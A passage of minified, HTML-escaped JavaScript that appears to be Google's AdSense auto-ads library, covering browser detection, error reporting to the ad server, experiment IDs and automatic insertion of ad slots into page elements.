Vb=w(&quot;Safari&quot;)&amp;&amp;!((w(&quot;Chrome&quot;)||w(&quot;CriOS&quot;))&amp;&amp;!w(&quot;Edge&quot;)||w(&quot;Coast&quot;)||w(&quot;Opera&quot;)||w(&quot;Edge&quot;)||w(&quot;Silk&quot;)||w(&quot;Android&quot;))&amp;&amp;!(w(&quot;iPhone&quot;)&amp;&amp;!w(&quot;iPod&quot;)&amp;&amp;!w(&quot;iPad&quot;)||w(&quot;iPad&quot;)||w(&quot;iPod&quot;));var Wb=null,Xb=null,Yb=w(&quot;Gecko&quot;)&amp;&amp;!(-1!=Za.toLowerCase().indexOf(&quot;webkit&quot;)&amp;&amp;!w(&quot;Edge&quot;))&amp;&amp;!(w(&quot;Trident&quot;)||w(&quot;MSIE&quot;))&amp;&amp;!w(&quot;Edge&quot;)||hb&amp;&amp;!Vb||gb||&quot;function&quot;==typeof l.btoa,Zb=function(a,b){if(!Wb){Wb={};Xb={};for(var c=0;65&gt;c;c++)Wb[c]=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;.charAt(c),Xb[c]=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.&quot;.charAt(c)}b=b?Xb:Wb;c=[];for(var d=0;d&lt;a.length;d+=3){var e=a[d],f=d+1&lt;a.length,g=f?a[d+1]:0,h=d+2&lt;a.length,k=h?a[d+2]:0,m=e&gt;&gt;2;e=(e&amp;3)&lt;&lt;4|g&gt;&gt;4;g=(g&amp;15)&lt;&lt;2|k&gt;&gt;6;k&amp;=63;h||(k=64,f||(g=64));c.push(b[m],b[e],b[g],b[k])}return c.join(&quot;&quot;)};var D=function(){},$b=&quot;function&quot;==typeof Uint8Array,cc=function(a,b,c){a.j=null;b||(b=[]);a.C=void 0;a.s=-1;a.l=b;a:{if(a.l.length){b=a.l.length-1;var d=a.l[b];if(d&amp;&amp;&quot;object&quot;==typeof d&amp;&amp;&quot;array&quot;!=t(d)&amp;&amp;!($b&amp;&amp;d instanceof Uint8Array)){a.v=b-a.s;a.o=d;break a}}a.v=Number.MAX_VALUE}a.A={};if(c)for(b=0;b&lt;c.length;b++)d=c[b],d&lt;a.v?(d+=a.s,a.l[d]=a.l[d]||ac):(bc(a),a.o[d]=a.o[d]||ac)},ac=[],bc=function(a){var b=a.v+a.s;a.l[b]||(a.o=a.l[b]={})},E=function(a,b){if(b&lt;a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}if(a.o)return c=a.o[b],c===ac?a.o[b]=[]:c},dc=function(a,b){if(b&lt;a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}c=a.o[b];return c===ac?a.o[b]=[]:c},ec=function(a,b,c){a.j||(a.j={});if(!a.j[c]){var d=E(a,c);d&amp;&amp;(a.j[c]=new b(d))}return a.j[c]},fc=function(a,b,c){a.j||(a.j={});if(!a.j[c]){for(var d=dc(a,c),e=[],f=0;f&lt;d.length;f++)e[f]=new b(d[f]);a.j[c]=e}b=a.j[c];b==ac&amp;&amp;(b=a.j[c]=[]);return b},gc=function(a){if(a.j)for(var b in a.j){var c=a.j[b];if(&quot;array&quot;==t(c))for(var d=0;d&lt;c.length;d++)c[d]&amp;&amp;gc(c[d]);else c&amp;&amp;gc(c)}};D.prototype.toString=function(){gc(this);return this.l.toString()};var ic=function(a){cc(this,a,hc)};ua(ic,D);var hc=[4],jc=function(a){cc(this,a,null)};ua(jc,D);var kc=function(a){cc(this,a,null)};ua(kc,D);var mc=function(a){cc(this,a,lc)};ua(mc,D);var lc=[6,7,9,10];var oc=function(a){cc(this,a,nc)};ua(oc,D);var nc=[1,2,5,7],pc=function(a){cc(this,a,null)};ua(pc,D);var rc=function(a){cc(this,a,qc)};ua(rc,D);var qc=[2];var sc=function(a,b,c){c=void 0===c?{}:c;this.error=a;this.context=b.context;this.line=b.line||-1;this.msg=b.message||&quot;&quot;;this.file=b.file||&quot;&quot;;this.id=b.id||&quot;jserror&quot;;this.meta=c};var tc=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,uc=function(a,b){this.j=a;this.l=b},vc=function(a,b,c){this.url=a;this.j=b;this.oa=!!c;this.depth=r(void 0)?void 0:null};var wc=function(){this.o=&quot;&amp;&quot;;this.s=!1;this.l={};this.v=0;this.j=[]},xc=function(a,b){var c={};c[a]=b;return[c]},zc=function(a,b,c,d,e){var f=[];nb(a,function(a,h){(a=yc(a,b,c,d,e))&amp;&amp;f.push(h+&quot;=&quot;+a)});return f.join(b)},yc=function(a,b,c,d,e){if(null==a)return&quot;&quot;;b=b||&quot;&amp;&quot;;c=c||&quot;,$&quot;;&quot;string&quot;==typeof c&amp;&amp;(c=c.split(&quot;&quot;));if(a instanceof Array){if(d=d||0,d&lt;c.length){for(var f=[],g=0;g&lt;a.length;g++)f.push(yc(a[g],b,c,d+1,e));return f.join(c[d])}}else if(&quot;object&quot;==typeof a)return e=e||0,2&gt;e?encodeURIComponent(zc(a,b,c,d,e+1)):&quot;...&quot;;return encodeURIComponent(String(a))},Ac=function(a,b,c,d){a.j.push(b);a.l[b]=xc(c,d)},Cc=function(a,b,c,d){b=b+&quot;//&quot;+c+d;var e=Bc(a)-d.length;if(0&gt;e)return&quot;&quot;;a.j.sort(function(a,b){return a-b});d=null;c=&quot;&quot;;for(var f=0;f&lt;a.j.length;f++)for(var g=a.j[f],h=a.l[g],k=0;k&lt;h.length;k++){if(!e){d=null==d?g:d;break}var m=zc(h[k],a.o,&quot;,$&quot;);if(m){m=c+m;if(e&gt;=m.length){e-=m.length;b+=m;c=a.o;break}else a.s&amp;&amp;(c=e,m[c-1]==a.o&amp;&amp;--c,b+=m.substr(0,c),c=a.o,e=0);d=null==d?g:d}}a=&quot;&quot;;null!=d&amp;&amp;(a=c+&quot;trn=&quot;+d);return b+a},Bc=function(a){var b=1,c;for(c in a.l)b=c.length&gt;b?c.length:b;return 3997-b-a.o.length-1};var Dc=function(a,b,c,d,e,f){if((d?a.v:Math.random())&lt;(e||a.j))try{if(c instanceof wc)var g=c;else g=new wc,nb(c,function(a,b){var c=g,d=c.v++;a=xc(b,a);c.j.push(d);c.l[d]=a});var h=Cc(g,a.s,a.l,a.o+b+&quot;&amp;&quot;);h&amp;&amp;(&quot;undefined&quot;===typeof f?Fb(h,void 0):Fb(h,f))}catch(k){}};var Ec=function(a,b){this.start=a&lt;b?a:b;this.j=a&lt;b?b:a};var Fc=function(a,b){this.j=b&gt;=a?new Ec(a,b):null},Gc=function(a){var b;try{a.localStorage&amp;&amp;(b=parseInt(a.localStorage.getItem(&quot;google_experiment_mod&quot;),10))}catch(c){return null}if(0&lt;=b&amp;&amp;1E3&gt;b)return b;if(pb())return null;b=Math.floor(1E3*mb(a));try{if(a.localStorage)return a.localStorage.setItem(&quot;google_experiment_mod&quot;,&quot;&quot;+b),b}catch(c){}return null};var Hc=!1,Ic=null,Jc=function(){if(null===Ic){Ic=&quot;&quot;;try{var a=&quot;&quot;;try{a=l.top.location.hash}catch(c){a=l.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Ic=b?b[1]:&quot;&quot;}}catch(c){}}return Ic},Kc=function(a,b){var c;c=(c=Jc())?(c=c.match(new RegExp(&quot;\\b(&quot;+a.join(&quot;|&quot;)+&quot;)\\b&quot;)))?c[0]:null:null;if(c)a=c;else if(Hc)a=null;else a:{if(!pb()&amp;&amp;(c=Math.random(),c&lt;b)){c=mb(l);a=a[Math.floor(c*a.length)];break a}a=null}return a};var Lc=function(){var a=l.performance;return a&amp;&amp;a.now&amp;&amp;a.timing?Math.floor(a.now()+a.timing.navigationStart):+new Date},Mc=function(){var a=void 0===a?l:a;return(a=a.performance)&amp;&amp;a.now?a.now():null};var Nc=function(a,b,c){this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=this.label+&quot;_&quot;+this.type+&quot;_&quot;+Math.random();this.slotId=void 0};var F=l.performance,Oc=!!(F&amp;&amp;F.mark&amp;&amp;F.measure&amp;&amp;F.clearMarks),Pc=bb(function(){var a;if(a=Oc)a=Jc(),a=!!a.indexOf&amp;&amp;0&lt;=a.indexOf(&quot;1337&quot;);return a}),Rc=function(){var a=Qc;this.events=[];this.l=a||l;var b=null;a&amp;&amp;(a.google_js_reporting_queue=a.google_js_reporting_queue||[],this.events=a.google_js_reporting_queue,b=a.google_measure_js_timing);this.j=Pc()||(null!=b?b:1&gt;Math.random())},Sc=function(a){a&amp;&amp;F&amp;&amp;Pc()&amp;&amp;(F.clearMarks(&quot;goog_&quot;+a.uniqueId+&quot;_start&quot;),F.clearMarks(&quot;goog_&quot;+a.uniqueId+&quot;_end&quot;))};Rc.prototype.start=function(a,b){if(!this.j)return null;var c=Mc()||Lc();a=new Nc(a,b,c);b=&quot;goog_&quot;+a.uniqueId+&quot;_start&quot;;F&amp;&amp;Pc()&amp;&amp;F.mark(b);return a};var Vc=function(){var a=Tc;this.A=Uc;this.s=!0;this.o=null;this.C=this.j;this.l=void 0===a?null:a;this.v=!1},Yc=function(a,b,c,d,e){try{if(a.l&amp;&amp;a.l.j){var f=a.l.start(b.toString(),3);var g=c();var h=a.l;c=f;if(h.j&amp;&amp;r(c.value)){var k=Mc()||Lc();c.duration=k-c.value;var m=&quot;goog_&quot;+c.uniqueId+&quot;_end&quot;;F&amp;&amp;Pc()&amp;&amp;F.mark(m);h.j&amp;&amp;h.events.push(c)}}else g=c()}catch(n){h=a.s;try{Sc(f),h=(e||a.C).call(a,b,new Wc(Xc(n),n.fileName,n.lineNumber),void 0,d)}catch(p){a.j(217,p)}if(!h)throw n}return g},Zc=function(a,b){var c=G;return function(d){for(var e=[],f=0;f&lt;arguments.length;++f)e[f]=arguments[f];return Yc(c,a,function(){return b.apply(void 0,e)},void 0,void 0)}};Vc.prototype.j=function(a,b,c,d,e){e=e||&quot;jserror&quot;;try{var f=new wc;f.s=!0;Ac(f,1,&quot;context&quot;,a);b.error&amp;&amp;b.meta&amp;&amp;b.id||(b=new Wc(Xc(b),b.fileName,b.lineNumber));b.msg&amp;&amp;Ac(f,2,&quot;msg&quot;,b.msg.substring(0,512));b.file&amp;&amp;Ac(f,3,&quot;file&quot;,b.file);0&lt;b.line&amp;&amp;Ac(f,4,&quot;line&quot;,b.line);var g=b.meta||{};if(this.o)try{this.o(g)}catch(da){}if(d)try{d(g)}catch(da){}b=[g];f.j.push(5);f.l[5]=b;g=l;b=[];var h=null;do{d=g;if(x(d)){var k=d.location.href;h=d.document&amp;&amp;d.document.referrer||null}else k=h,h=null;b.push(new vc(k||&quot;&quot;,d));try{g=d.parent}catch(da){g=null}}while(g&amp;&amp;d!=g);k=0;for(var m=b.length-1;k&lt;=m;++k)b[k].depth=m-k;d=l;if(d.location&amp;&amp;d.location.ancestorOrigins&amp;&amp;d.location.ancestorOrigins.length==b.length-1)for(k=1;k&lt;b.length;++k){var n=b[k];n.url||(n.url=d.location.ancestorOrigins[k-1]||&quot;&quot;,n.oa=!0)}var p=new vc(l.location.href,l,!1);m=null;var q=b.length-1;for(n=q;0&lt;=n;--n){var u=b[n];!m&amp;&amp;tc.test(u.url)&amp;&amp;(m=u);if(u.url&amp;&amp;!u.oa){p=u;break}}u=null;var z=b.length&amp;&amp;b[q].url;0!=p.depth&amp;&amp;z&amp;&amp;(u=b[q]);var J=new uc(p,u);J.l&amp;&amp;Ac(f,6,&quot;top&quot;,J.l.url||&quot;&quot;);Ac(f,7,&quot;url&quot;,J.j.url||&quot;&quot;);Dc(this.A,e,f,this.v,c)}catch(da){try{Dc(this.A,e,{context:&quot;ecmserr&quot;,rctx:a,msg:Xc(da),url:J&amp;&amp;J.j.url},this.v,c)}catch(eh){}}return this.s};var Xc=function(a){var b=a.toString();a.name&amp;&amp;-1==b.indexOf(a.name)&amp;&amp;(b+=&quot;: &quot;+a.name);a.message&amp;&amp;-1==b.indexOf(a.message)&amp;&amp;(b+=&quot;: &quot;+a.message);if(a.stack){a=a.stack;var c=b;try{-1==a.indexOf(c)&amp;&amp;(a=c+&quot;\n&quot;+a);for(var d;a!=d;)d=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,&quot;$1&quot;);b=a.replace(/\n */g,&quot;\n&quot;)}catch(e){b=c}}return b},Wc=function(a,b,c){sc.call(this,Error(a),{message:a,file:void 0===b?&quot;&quot;:b,line:void 0===c?-1:c})};ia(Wc,sc);var H=function(a){a=void 0===a?&quot;&quot;:a;var b=Error.call(this);this.message=b.message;&quot;stack&quot;in b&amp;&amp;(this.stack=b.stack);this.name=&quot;TagError&quot;;this.message=a?&quot;adsbygoogle.push() error: &quot;+a:&quot;&quot;;Error.captureStackTrace?Error.captureStackTrace(this,H):this.stack=Error().stack||&quot;&quot;};ia(H,Error);var $c=function(a){return 0==(a.error&amp;&amp;a.meta&amp;&amp;a.id?a.msg||Xc(a.error):Xc(a)).indexOf(&quot;TagError&quot;)};var Uc,G,Qc=Pb(),Tc=new Rc,ad=function(a){null!=a&amp;&amp;(Qc.google_measure_js_timing=a);Qc.google_measure_js_timing||(a=Tc,a.j=!1,a.events!=a.l.google_js_reporting_queue&amp;&amp;(Pc()&amp;&amp;Da(a.events,Sc),a.events.length=0))};Uc=new function(){var a=void 0===a?v:a;this.s=&quot;http:&quot;===a.location.protocol?&quot;http:&quot;:&quot;https:&quot;;this.l=&quot;pagead2.googlesyndication.com&quot;;this.o=&quot;/pagead/gen_204?id=&quot;;this.j=.01;this.v=Math.random()};G=new Vc;&quot;complete&quot;==Qc.document.readyState?ad():Tc.j&amp;&amp;Bb(Qc,&quot;load&quot;,function(){ad()});var dd=function(){var a=[bd,cd];G.o=function(b){Da(a,function(a){a(b)})}},ed=function(a,b,c,d){return Yc(G,a,c,d,b)},fd=function(a,b){return Zc(a,b)},gd=G.j,hd=function(a,b,c,d){return $c(b)?(G.v=!0,G.j(a,b,.1,d,&quot;puberror&quot;),!1):G.j(a,b,c,d)},id=function(a,b,c,d){return $c(b)?!1:G.j(a,b,c,d)};var jd=new function(){this.j=[&quot;google-auto-placed&quot;];this.l={google_tag_origin:&quot;qs&quot;}};var kd=function(a,b){a.location.href&amp;&amp;a.location.href.substring&amp;&amp;(b.url=a.location.href.substring(0,200));Dc(Uc,&quot;ama&quot;,b,!0,.01,void 0)};var ld=function(a){cc(this,a,null)};ua(ld,D);var md=null,nd=function(){if(!md){for(var a=l,b=a,c=0;a&amp;&amp;a!=a.parent;)if(a=a.parent,c++,x(a))b=a;else break;md=b}return md};var od={google:1,googlegroups:1,gmail:1,googlemail:1,googleimages:1,googleprint:1},pd=/(corp|borg)\.google\.com:\d+$/,qd=function(){var a=v.google_page_location||v.google_page_url;&quot;EMPTY&quot;==a&amp;&amp;(a=v.google_page_url);if(vb||!a)return!1;a=a.toString();0==a.indexOf(&quot;http://&quot;)?a=a.substring(7,a.length):0==a.indexOf(&quot;https://&quot;)&amp;&amp;(a=a.substring(8,a.length));var b=a.indexOf(&quot;/&quot;);-1==b&amp;&amp;(b=a.length);a=a.substring(0,b);if(pd.test(a))return!1;a=a.split(&quot;.&quot;);b=!1;3&lt;=a.length&amp;&amp;(b=a[a.length-3]in od);2&lt;=a.length&amp;&amp;(b=b||a[a.length-2]in od);return b};var rd=function(a){a=a.document;return(&quot;CSS1Compat&quot;==a.compatMode?a.documentElement:a.body)||{}},I=function(a){return rd(a).clientWidth};var sd=function(a,b){Array.prototype.slice.call(a).forEach(b,void 0)};var td=function(a,b,c,d){this.s=a;this.l=b;this.o=c;this.j=d};td.prototype.toString=function(){return JSON.stringify({nativeQuery:this.s,occurrenceIndex:this.l,paragraphIndex:this.o,ignoreMode:this.j})};var ud=function(a,b){if(null==a.j)return b;switch(a.j){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error(&quot;Unknown ignore mode: &quot;+a.j)}},wd=function(a){var b=[];sd(a.getElementsByTagName(&quot;p&quot;),function(a){100&lt;=vd(a)&amp;&amp;b.push(a)});return b},vd=function(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||&quot;SCRIPT&quot;==a.tagName)return 0;var b=0;sd(a.childNodes,function(a){b+=vd(a)});return b},xd=function(a){return 0==a.length||isNaN(a[0])?a:&quot;\\&quot;+(30+parseInt(a[0],10))+&quot; &quot;+a.substring(1)};var yd=function(a){if(1!=a.nodeType)var b=!1;else if(b=&quot;INS&quot;==a.tagName)a:{b=[&quot;adsbygoogle-placeholder&quot;];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d&lt;a.length;++d)c[a[d]]=!0;for(d=0;d&lt;b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};var zd=function(a,b){for(var c=0;c&lt;b.length;c++){var d=b[c],e=Ua(d.Ga);a[e]=d.value}};var Ad={1:1,2:2,3:3,0:0},Bd=function(a){return null!=a?Ad[a]:a},Cd={1:0,2:1,3:2,4:3};var Dd=function(a,b){if(!a)return!1;a=y(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return&quot;left&quot;==a||&quot;right&quot;==a},Ed=function(a){for(a=a.previousSibling;a&amp;&amp;1!=a.nodeType;)a=a.previousSibling;return a?a:null},Fd=function(a){return!!a.nextSibling||!!a.parentNode&amp;&amp;Fd(a.parentNode)};var Gd=function(a,b){this.j=l;this.v=a;this.s=b;this.o=jd||null;this.l=!1},Id=function(a,b){if(a.l)return!0;try{var c=a.j.localStorage.getItem(&quot;google_ama_settings&quot;);var d=c?new ld(c?JSON.parse(c):null):null}catch(g){d=null}if(c=null!==d)d=E(d,2),c=null==d?!1:d;if(c)return a=a.j.google_ama_state=a.j.google_ama_state||{},a.eatf=!0;c=fc(a.s,mc,1);for(d=0;d&lt;c.length;d++){var e=c[d];if(1==E(e,8)){var f=ec(e,kc,4);if(f&amp;&amp;2==E(f,1)&amp;&amp;Hd(a,e,b))return a.l=!0,a=a.j.google_ama_state=a.j.google_ama_state||{},a.placement=d,!0}}return!1},Hd=function(a,b,c){if(1!=E(b,8))return!1;var d=ec(b,ic,1);if(!d)return!1;var e=E(d,7);if(E(d,1)||E(d,3)||0&lt;dc(d,4).length){var f=E(d,3),g=E(d,1),h=dc(d,4);e=E(d,2);var k=E(d,5);d=Bd(E(d,6));var m=&quot;&quot;;g&amp;&amp;(m+=g);f&amp;&amp;(m+=&quot;#&quot;+xd(f));if(h)for(f=0;f&lt;h.length;f++)m+=&quot;.&quot;+xd(h[f]);e=(h=m)?new td(h,e,k,d):null}else e=e?new td(e,E(d,2),E(d,5),Bd(E(d,6))):null;if(!e)return!1;k=[];try{k=a.j.document.querySelectorAll(e.s)}catch(u){}if(k.length){h=k.length;if(0&lt;h){d=Array(h);for(f=0;f&lt;h;f++)d[f]=k[f];k=d}else k=[];k=ud(e,k);r(e.l)&amp;&amp;(h=e.l,0&gt;h&amp;&amp;(h+=k.length),k=0&lt;=h&amp;&amp;h&lt;k.length?[k[h]]:[]);if(r(e.o)){h=[];for(d=0;d&lt;k.length;d++)f=wd(k[d]),g=e.o,0&gt;g&amp;&amp;(g+=f.length),0&lt;=g&amp;&amp;g&lt;f.length&amp;&amp;h.push(f[g]);k=h}e=k}else e=[];if(0==e.length)return!1;e=e[0];k=E(b,2);k=Cd[k];k=void 0!==k?k:null;if(!(h=null==k)){a:{h=a.j;switch(k){case 0:h=Dd(Ed(e),h);break a;case 3:h=Dd(e,h);break a;case 2:d=e.lastChild;h=Dd(d?1==d.nodeType?d:Ed(d):null,h);break a}h=!1}if(c=!h&amp;&amp;!(!c&amp;&amp;2==k&amp;&amp;!Fd(e)))c=1==k||2==k?e:e.parentNode,c=!(c&amp;&amp;!yd(c)&amp;&amp;0&gt;=c.offsetWidth);h=!c}if(h)return!1;b=ec(b,jc,3);h={};b&amp;&amp;(h.ta=E(b,1),h.ja=E(b,2),h.ya=!!E(b,3));var n;b=a.j;c=a.o;d=a.v;f=b.document;a=f.createElement(&quot;div&quot;);g=a.style;g.textAlign=&quot;center&quot;;g.width=&quot;100%&quot;;g.height=&quot;auto&quot;;g.clear=h.ya?&quot;both&quot;:&quot;none&quot;;h.Aa&amp;&amp;zd(g,h.Aa);f=f.createElement(&quot;ins&quot;);g=f.style;g.display=&quot;block&quot;;g.margin=&quot;auto&quot;;g.backgroundColor=&quot;transparent&quot;;h.ta&amp;&amp;(g.marginTop=h.ta);h.ja&amp;&amp;(g.marginBottom=h.ja);h.xa&amp;&amp;zd(g,h.xa);a.appendChild(f);f.setAttribute(&quot;data-ad-format&quot;,&quot;auto&quot;);h=[];if(g=c&amp;&amp;c.j)a.className=g.join(&quot; &quot;);f.className=&quot;adsbygoogle&quot;;f.setAttribute(&quot;data-ad-client&quot;,d);h.length&amp;&amp;f.setAttribute(&quot;data-ad-channel&quot;,h.join(&quot;+&quot;));a:{try{switch(k){case 0:e.parentNode&amp;&amp;e.parentNode.insertBefore(a,e);break;case 3:var p=e.parentNode;if(p){var q=e.nextSibling;if(q&amp;&amp;q.parentNode!=p)for(;q&amp;&amp;8==q.nodeType;)q=q.nextSibling;p.insertBefore(a,q)}break;case 1:e.insertBefore(a,e.firstChild);break;case 2:e.appendChild(a)}yd(e)&amp;&amp;(e.setAttribute(&quot;data-init-display&quot;,e.style.display),e.style.display=&quot;block&quot;);f.setAttribute(&quot;data-adsbygoogle-status&quot;,&quot;reserved&quot;);p={element:f};(n=c&amp;&amp;c.l)&amp;&amp;(p.params=n);(b.adsbygoogle=b.adsbygoogle||[]).push(p)}catch(u){a&amp;&amp;a.parentNode&amp;&amp;(n=a.parentNode,n.removeChild(a),yd(n)&amp;&amp;(n.style.display=n.getAttribute(&quot;data-init-display&quot;)||&quot;none&quot;));n=!1;break a}n=!0}return n?!0:!1};var Kd=function(){this.l=new Jd(this);this.j=0},Ld=function(a){if(0!=a.j)throw Error(&quot;Already resolved/rejected.&quot;)},Jd=function(a){this.j=a},Md=function(a){switch(a.j.j){case 0:break;case 1:a.ca&amp;&amp;a.ca(a.j.s);break;case 2:a.sa&amp;&amp;a.sa(a.j.o);break;default:throw Error(&quot;Unhandled deferred state.&quot;)}};var Nd=function(a){this.exception=a},Od=function(a,b){this.l=l;this.o=a;this.j=b};Od.prototype.start=function(){this.s()};Od.prototype.s=function(){try{switch(this.l.document.readyState){case &quot;complete&quot;:case &quot;interactive&quot;:Id(this.o,!0);Pd(this);break;default:Id(this.o,!1)?Pd(this):this.l.setTimeout(sa(this.s,this),100)}}catch(a){Pd(this,a)}};var Pd=function(a,b){try{var c=a.j,d=new Nd(b);Ld(c);c.j=1;c.s=d;Md(c.l)}catch(e){a=a.j,b=e,Ld(a),a.j=2,a.o=b,Md(a.l)}};var Qd=function(a){kd(a,{atf:1})},Rd=function(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;kd(a,{atf:0})};var Sd=function(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledByReactiveTag={};this.isReactiveTagFirstOnPage=this.wasReactiveAdConfigHandlerRegistered=this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.debugCard=null;this.messageValidationEnabled=this.debugCardRequested=!1;this.adRegion=this.floatingAdsFillMessage=this.grappleTagStatusService=null};var cd=function(a){try{var b=l.google_ad_modifications;if(null!=b){var c=Ea(b.eids,b.loeids);null!=c&amp;&amp;0&lt;c.length&amp;&amp;(a.eid=c.join(&quot;,&quot;))}}catch(d){}},bd=function(a){a.shv=ub()};G.s=!vb;var Td={9:&quot;400&quot;,10:&quot;100&quot;,11:&quot;0.10&quot;,12:&quot;0.02&quot;,13:&quot;0.001&quot;,14:&quot;300&quot;,15:&quot;100&quot;,19:&quot;0.01&quot;,22:&quot;0.01&quot;,23:&quot;0.2&quot;,24:&quot;0.05&quot;,26:&quot;0.5&quot;,27:&quot;0.001&quot;,28:&quot;0.001&quot;,29:&quot;0.01&quot;,32:&quot;0.02&quot;,34:&quot;0.001&quot;,37:&quot;0.0&quot;,40:&quot;0.15&quot;,42:&quot;0&quot;,43:&quot;0.02&quot;,47:&quot;0.01&quot;,48:&quot;0.2&quot;,49:&quot;0.2&quot;,51:&quot;0.05&quot;,52:&quot;0.1&quot;,54:&quot;800&quot;,55:&quot;200&quot;,56:&quot;0.001&quot;,57:&quot;0.001&quot;,58:&quot;0.02&quot;,60:&quot;0.03&quot;,65:&quot;0.02&quot;,66:&quot;0.0&quot;,67:&quot;0.04&quot;,70:&quot;1.0&quot;,71:&quot;700&quot;,72:&quot;10&quot;,74:&quot;0.03&quot;,75:&quot;true&quot;,76:&quot;0.004&quot;,77:&quot;true&quot;,78:&quot;0.1&quot;,79:&quot;1200&quot;,80:&quot;2&quot;,82:&quot;3&quot;,83:&quot;1.0&quot;,84:&quot;0&quot;,85:&quot;200&quot;,89:&quot;1.0&quot;,90:&quot;0.0&quot;,92:&quot;0.02&quot;,94:&quot;true&quot;,96:&quot;700&quot;,97:&quot;2&quot;,98:&quot;0.01&quot;,99:&quot;600&quot;,100:&quot;100&quot;,101:&quot;false&quot;};var Ud=null,Vd=function(){this.V=Td},K=function(a,b){a=parseFloat(a.V[b]);return isNaN(a)?0:a},Wd=function(){Ud||(Ud=new Vd);return Ud};var Xd={m:&quot;368226200&quot;,u:&quot;368226201&quot;},Yd={m:&quot;368226210&quot;,u:&quot;368226211&quot;},Zd={m:&quot;38893301&quot;,K:&quot;38893302&quot;,T:&quot;38893303&quot;},$d={m:&quot;38893311&quot;,K:&quot;38893312&quot;,T:&quot;38893313&quot;},ae={m:&quot;36998750&quot;,u:&quot;36998751&quot;},be={m:&quot;4089040&quot;,ea:&quot;4089042&quot;},ce={B:&quot;20040067&quot;,m:&quot;20040068&quot;,da:&quot;1337&quot;},de={m:&quot;21060548&quot;,B:&quot;21060549&quot;},ee={m:&quot;21060623&quot;,B:&quot;21060624&quot;},fe={Y:&quot;62710015&quot;,m:&quot;62710016&quot;},ge={Y:&quot;62710017&quot;,m:&quot;62710018&quot;},he={m:&quot;201222021&quot;,D:&quot;201222022&quot;},ie={m:&quot;201222031&quot;,D:&quot;201222032&quot;},L={m:&quot;21060866&quot;,u:&quot;21060867&quot;,U:&quot;21060868&quot;,ua:&quot;21060869&quot;,I:&quot;21060870&quot;,J:&quot;21060871&quot;},je={m:&quot;21060550&quot;,u:&quot;21060551&quot;},ke={m:&quot;332260000&quot;,G:&quot;332260001&quot;,H:&quot;332260002&quot;,F:&quot;332260003&quot;},le={m:&quot;332260004&quot;,G:&quot;332260005&quot;,H:&quot;332260006&quot;,F:&quot;332260007&quot;},me={m:&quot;21060518&quot;,u:&quot;21060519&quot;},ne={m:&quot;21060830&quot;,ha:&quot;21060831&quot;,Z:&quot;21060832&quot;,ga:&quot;21060843&quot;,fa:&quot;21061122&quot;},oe={m:&quot;191880501&quot;,u:&quot;191880502&quot;},pe={m:&quot;21061394&quot;,u:&quot;21061395&quot;},qe={m:&quot;10583695&quot;,u:&quot;10583696&quot;},re={m:&quot;10593695&quot;,u:&quot;10593696&quot;};Hc=!1;var se=new Fc(0,199),te=new Fc(200,399),ue=new Fc(400,599),ve=new Fc(600,699),we=new Fc(700,799),xe=new Fc(800,999);var ze=function(a){var b=Wd();a=ye(a,we,K(b,96),K(b,97),[&quot;182982000&quot;,&quot;182982100&quot;]);if(!a)return{L:&quot;&quot;,M:&quot;&quot;};b={};b=(b[&quot;182982000&quot;]=&quot;182982200&quot;,b[&quot;182982100&quot;]=&quot;182982300&quot;,b)[a];return{L:a,M:b}},Ae=function(a){var b=Wd(),c=ye(a,we,K(b,71),K(b,72),[&quot;153762914&quot;,&quot;153762975&quot;]),d=&quot;&quot;;&quot;153762914&quot;==c?d=&quot;153762530&quot;:&quot;153762975&quot;==c&amp;&amp;(d=&quot;153762841&quot;);if(c)return{L:c,M:d};c=ye(a,we,K(b,71)+K(b,72),K(b,80),[&quot;164692081&quot;,&quot;165767636&quot;]);&quot;164692081&quot;==c?d=&quot;166717794&quot;:&quot;165767636&quot;==c&amp;&amp;(d=&quot;169062368&quot;);return{L:c||&quot;&quot;,M:d}},Be=function(a){var b=a.google_ad_modifications=a.google_ad_modifications||{};if(!b.plle){b.plle=!0;var c=b.eids=b.eids||[];b=b.loeids=b.loeids||[];var d=Wd(),e=ze(a),f=e.L;e=e.M;if(f&amp;&amp;e)M(c,f),M(c,e);else{var g=Ae(a);M(b,g.L);M(c,g.M)}g=Yd;f=ye(a,se,K(d,84),K(d,85),[g.m,g.u]);M(b,f);var h=Xd;f==g.m?e=h.m:f==g.u?e=h.u:e=&quot;&quot;;M(c,e);g=be;M(c,ye(a,ue,K(d,9),K(d,10),[g.m,g.ea]));Ja(&quot;&quot;)&amp;&amp;M(b,&quot;&quot;);g=fe;f=N(a,K(d,11),[g.m,g.Y]);g=Fa(g,function(a){return 